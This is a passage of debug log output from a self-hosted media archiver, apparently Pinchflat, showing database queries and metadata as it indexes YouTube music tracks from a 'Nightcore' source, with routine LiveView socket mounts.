s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:26.138 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:26.139 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-09 15:01:50Z], 1] 22:22:26.383 [debug] QUERY OK source="media_items" db=244.4ms idle=1002.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by SongCast, Inc.\n\nSay It Right (Phonk Version) · Miguel Pascal\n\nSay It Right (Phonk Version)\n\n℗ 2026, Gengar Music Entertainment Party\n\nReleased on: 2026-06-08\n\nAuto-generated by YouTube.", "Say It Right (Phonk Version)", "f113eacc-d75d-4b8c-b0bd-524b15684cac", false, "ZkigfGIueJ0", 177, false, "https://www.youtube.com/watch?v=ZkigfGIueJ0", 25, "/downloads/Nightcore/Nightcore/2026-06-09Say It Right (Phonk Version)[ZkigfGIueJ0].m4a", false, false, 1, [], 1, ~U[2026-06-09 15:01:50Z], ~U[2026-07-24 02:22:26Z], ~U[2026-07-24 02:22:26Z], "Provided to YouTube by SongCast, Inc.\n\nSay It Right (Phonk Version) · Miguel Pascal\n\nSay It Right (Phonk Version)\n\n℗ 2026, Gengar Music Entertainment Party\n\nReleased on: 2026-06-08\n\nAuto-generated by YouTube.", "Say It Right (Phonk Version)", "ZkigfGIueJ0", 177, false, "https://www.youtube.com/watch?v=ZkigfGIueJ0", "/downloads/Nightcore/Nightcore/2026-06-09Say It Right (Phonk Version)[ZkigfGIueJ0].m4a", false, 1, ~U[2026-06-09 15:01:50Z]] 22:22:26.384 [debug] QUERY OK source="sources" db=0.2ms idle=956.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:26.384 [debug] QUERY OK source="media_profiles" db=0.1ms idle=246.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:26.385 [debug] QUERY OK source="media_items" db=0.1ms idle=246.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [25] 22:22:26.385 [debug] Current batch of media processed. Will check again in 1000ms 22:22:27.386 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "IBM7094へのトリビュート。自分の祖父とミクの“おじいちゃん”にも感謝を。\nshoutout to my grandpa as well as mikus\n\n\nクレジット / credits:\nMIDI: crono23 (musescore)", "duration" => 203, "filename" => "/downloads/Nightcore/Nightcore/2024-06-10[Hatsune Miku V4X] Daisy Bell[aeuA7VSbxVI].m4a", "id" => "aeuA7VSbxVI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=aeuA7VSbxVI", "playlist_index" => 26, "timestamp" => 1718050143, "title" => "[Hatsune Miku V4X] Daisy Bell", "upload_date" => "20240610"} 22:22:27.386 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:27.387 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:27.387 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-10 20:09:03Z], 1] 22:22:27.456 [info] CONNECTED TO Phoenix.LiveView.Socket in 45µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Dzp2TlF-KhgZVVMhFX9wAjEoQhUZDTElfWEy86CYr3gqw2ATaBvfJyff", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:22:27.486 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 1} 22:22:27.666 [debug] QUERY OK source="media_items" db=278.9ms idle=1002.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["IBM7094へのトリビュート。自分の祖父とミクの“おじいちゃん”にも感謝を。\nshoutout to my grandpa as well as mikus\n\n\nクレジット / credits:\nMIDI: crono23 (musescore)", "[Hatsune Miku V4X] Daisy Bell", "3e2c0009-bfda-44b6-8469-7be8f39e6884", false, "aeuA7VSbxVI", 203, false, "https://www.youtube.com/watch?v=aeuA7VSbxVI", 26, "/downloads/Nightcore/Nightcore/2024-06-10[Hatsune Miku V4X] Daisy Bell[aeuA7VSbxVI].m4a", false, false, 1, [], 1, ~U[2024-06-10 20:09:03Z], ~U[2026-07-24 02:22:27Z], ~U[2026-07-24 02:22:27Z], "IBM7094へのトリビュート。自分の祖父とミクの“おじいちゃん”にも感謝を。\nshoutout to my grandpa as well as mikus\n\n\nクレジット / credits:\nMIDI: crono23 (musescore)", "[Hatsune Miku V4X] Daisy Bell", "aeuA7VSbxVI", 203, false, "https://www.youtube.com/watch?v=aeuA7VSbxVI", "/downloads/Nightcore/Nightcore/2024-06-10[Hatsune Miku V4X] Daisy Bell[aeuA7VSbxVI].m4a", false, 1, ~U[2024-06-10 20:09:03Z]] 22:22:27.667 [debug] QUERY OK source="sources" db=0.3ms idle=279.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:27.668 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=280.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:27.668 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [26] 22:22:27.668 [debug] Current batch of media processed. Will check again in 1000ms 22:22:27.716 [debug] QUERY OK source="sources" db=229.4ms idle=99.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:27.717 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=49.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:22:27.719 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=49.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:27.719 [debug] Replied in 233ms 22:22:27.759 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 1} 22:22:27.760 [debug] QUERY OK source="sources" db=0.1ms idle=91.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:27.760 [debug] QUERY OK source="media_items" db=0.0ms idle=44.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:22:27.760 [debug] QUERY OK source="media_items" db=0.1ms idle=43.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:27.760 [debug] Replied in 1ms 22:22:27.762 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 1} 22:22:27.762 [debug] QUERY OK source="sources" db=0.2ms idle=43.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:27.763 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:22:27.763 [debug] QUERY OK source="media_items" db=0.3ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:27.763 [debug] Replied in 1ms 22:22:28.669 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Original by Imojistmusic was taken down so here’s a reupload! Credit to him!\n\nhttps://youtube.com/@IMOJIST?si=JGCqRiw18unQnwzn", "duration" => 224, "filename" => "/downloads/Nightcore/Nightcore/2025-04-07Kiss me again (Eurobeat remix)[WcZfXHqksq4].m4a", "id" => "WcZfXHqksq4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=WcZfXHqksq4", "playlist_index" => 27, "timestamp" => 1744050675, "title" => "Kiss me again (Eurobeat remix)", "upload_date" => "20250407"} 22:22:28.669 [debug] QUERY OK source="sources" db=0.2ms idle=908.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:28.669 [debug] QUERY OK source="sources" db=0.1ms idle=909.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:28.670 [debug] QUERY OK source="media_items" db=0.3ms idle=907.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-07 18:31:15Z], 1] 22:22:29.054 [debug] QUERY OK source="media_items" db=383.2ms idle=907.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Original by Imojistmusic was taken down so here’s a reupload! Credit to him!\n\nhttps://youtube.com/@IMOJIST?si=JGCqRiw18unQnwzn", "Kiss me again (Eurobeat remix)", "8551f770-d5d6-464c-9b8b-af6d79740194", false, "WcZfXHqksq4", 224, false, "https://www.youtube.com/watch?v=WcZfXHqksq4", 27, "/downloads/Nightcore/Nightcore/2025-04-07Kiss me again (Eurobeat remix)[WcZfXHqksq4].m4a", false, false, 1, [], 1, ~U[2025-04-07 18:31:15Z], ~U[2026-07-24 02:22:28Z], ~U[2026-07-24 02:22:28Z], "Original by Imojistmusic was taken down so here’s a reupload! Credit to him!\n\nhttps://youtube.com/@IMOJIST?si=JGCqRiw18unQnwzn", "Kiss me again (Eurobeat remix)", "WcZfXHqksq4", 224, false, "https://www.youtube.com/watch?v=WcZfXHqksq4", "/downloads/Nightcore/Nightcore/2025-04-07Kiss me again (Eurobeat remix)[WcZfXHqksq4].m4a", false, 1, ~U[2025-04-07 18:31:15Z]] 22:22:29.055 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=384.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:29.056 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=385.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:29.057 [debug] QUERY OK source="media_items" db=0.5ms idle=386.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [27] 22:22:29.090 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "𝕾𝖙𝖗𝖊𝖆𝖒\nhttps://lolliaofficial.com/release/thecollectivev01/\n_\nTEAM EDWARD OR JACOB? Nah jk lol... WOO! Here it is. Recording this song was almost the bane of my existence, but I'm SUPER proud of how this turned out! This is one of my dream covers, and I'm happy I was able to collab with my good friends Rich and Rachel. I love you guys! Also, be sure to check our other collab on @RichaadEB's channel. We covered \"A Cruel Angel's Thesis\"! https://www.youtube.com/watch?v=4PufrCwfIhk\n_\n𝕮𝖗𝖊𝖉𝖎𝖙𝖘\n♦ Vocals by @lollia_official.\n♦ Arrangement, guitar and mix by @RichaadEB.\n♦ Music video filmed and produced by Rachel E.B. (https://twitter.com/thunderesque)\n♦ Original song by Paramore.\n_\n𝕱𝖔𝖑𝖑𝖔𝖜 𝕸𝖊\n◈ https://lolliaofficial.com/links\n◈ https://ffm.bio/lollia\n_\n#PARAMORE #DECODE #TWILIGHT\n#lollia #lolliacover \n(LYRICS IN COMMENT SECTION)\n© PRODUCTION OF ROSE MOON STUDIOS LLC", "duration" => 257, "filename" => "/downloads/Nightcore/Nightcore/2020-04-11Decode (Paramore) Cover by Lollia feat. @RichaadEB[iCIdnu-2TQ4].m4a", "id" => "iCIdnu-2TQ4", 